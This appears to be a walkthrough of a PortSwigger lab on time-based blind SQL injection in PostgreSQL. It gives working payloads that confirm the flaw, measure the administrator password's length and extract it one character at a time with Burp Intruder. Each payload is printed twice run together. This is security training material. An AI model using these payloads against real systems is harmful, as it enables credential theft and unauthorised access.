August 11, 2026
Blind SQL injection with time delays and information retrieval Lab
This is the walkthrough of portswigger lab: Blind SQL injection with time delays and information retrieval.
By Hafsa
3 min read
Before jumping into how to solve this lab we will go through a short concept of what exactly is time delay and how we can use it to our advantage to retrieve confidential information.
Every request sent to the server and the response received by the server takes a specific amount of time to travel, and when a website is taking more time than it should, we assume that there is something wrong with the network connection or any other possible reason we can think of.
But what if we make the website to delay the response if it satisfies our condition. We can do that if that website has sql vulnerablity.
This lab has a blind sql vulnerblity in the tracking id query. It does not reveal the information openly and loads as a normal page. We will play smartly and come up with payloads that can tell us about the data.
As we know there is a user named 'administrator' in the users table with columns: username and password.
Lets start!
Hint: You can use sql vulnerablity cheat sheet from portswigger.
First capture the request containing the tracking id and send it to repeater. Put an apostrophe at the end of the tracking id, which confirms that the page loads normally and does not show a syntax error because it is blind sql.
"This lab has Postgre sql database. I found out after trying multiple payloads."
I tried many payloads which triggers the time delays but nothing was working the page wasn't taking longer to respond instead it was instantly loading.
This is the payload I was trying.
';+SELECT+pg_sleep(10)--';+SELECT+pg_sleep(10)--Lets understand what does this actually do:
- ' this apostrophe closes the tracking id string.
- ; the semicolon terminates the query so we can add another one of our own.
- SELECT pg_sleep(10) is the standard sql query to trigger time delay of 10 sec.
-
- -comment out the rest of the query.
Technically this payload is correct but the web server is interpretating the semicolon as the end of the tracking id parameter. So after the ; everything gets dropped or ignored. We have to enocde the semicolon so the server treats it as the part of the query.
'%3b+SELECT+pg_sleep(10)--'%3b+SELECT+pg_sleep(10)--
Now compare the timings of these pictures the second one took a little more than 10 seconds, which confirms the vulnerability.
'%3b+SELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--'%3b+SELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--This payload specifies a condition, if the provided condition is true it will execute the time delay of 10 seconds. If the condition is false like 1=2 instead of 1=1 then it will execute pg_sleep(0) (no time delay) and it will end.
You can check and see it delays the response for 10 seconds.
'%3b+SELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>10)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--'%3b+SELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>10)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--We have all the information needed we just need to find the length of the password and the password itself.
It will check that whether there is a user named 'administrator' in the users table and is the length of its password greater than 10 characters, if it is true it will execute pg_sleep(10).
Note: Most of the lab in port swigger that I have come cross has password of 20 characters.
'%3b+SELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)=20)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--'%3b+SELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)=20)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--Same in this case, the password is indeed 20 characters long.
To find exactly what the characters are we will use this:
'%3b+SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTR(password,1,1)='m')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--'%3b+SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTR(password,1,1)='m')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--- SUBSTR(password,1,1) extract the first character of the password and compare it to m if it is true it will trigger the delay.
Now send this request to intruded and highlight the m and click add. Then select bruteforcer from payload type and min and max length 1 and start the attack.
Intruder will compare the first character of the password from each of the characters in character set.
Example: Putting 'a' in the place of m in first request and comparing it, then putting b in the second request, Whichever character trigger the delay will be the first character of the password.
First character is 'u' because it took more time than the others something around 10 sec.
After finding the first character just change the number from 1 to 2 to find the second one and do this until you get the whole password.
'%3b+SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTR(password,2,1)='m')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--'%3b+SELECT+CASE+WHEN+(username='administrator'+AND+SUBSTR(password,2,1)='m')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--Got the password? Now just login.
This lab is wonderful demonstration of how you can exploit a time-based blind sql vulnerablity. Next I will be wirtting on how to solve the Port Swigger blind sql injection with out of band interaction lab. Stay tuned!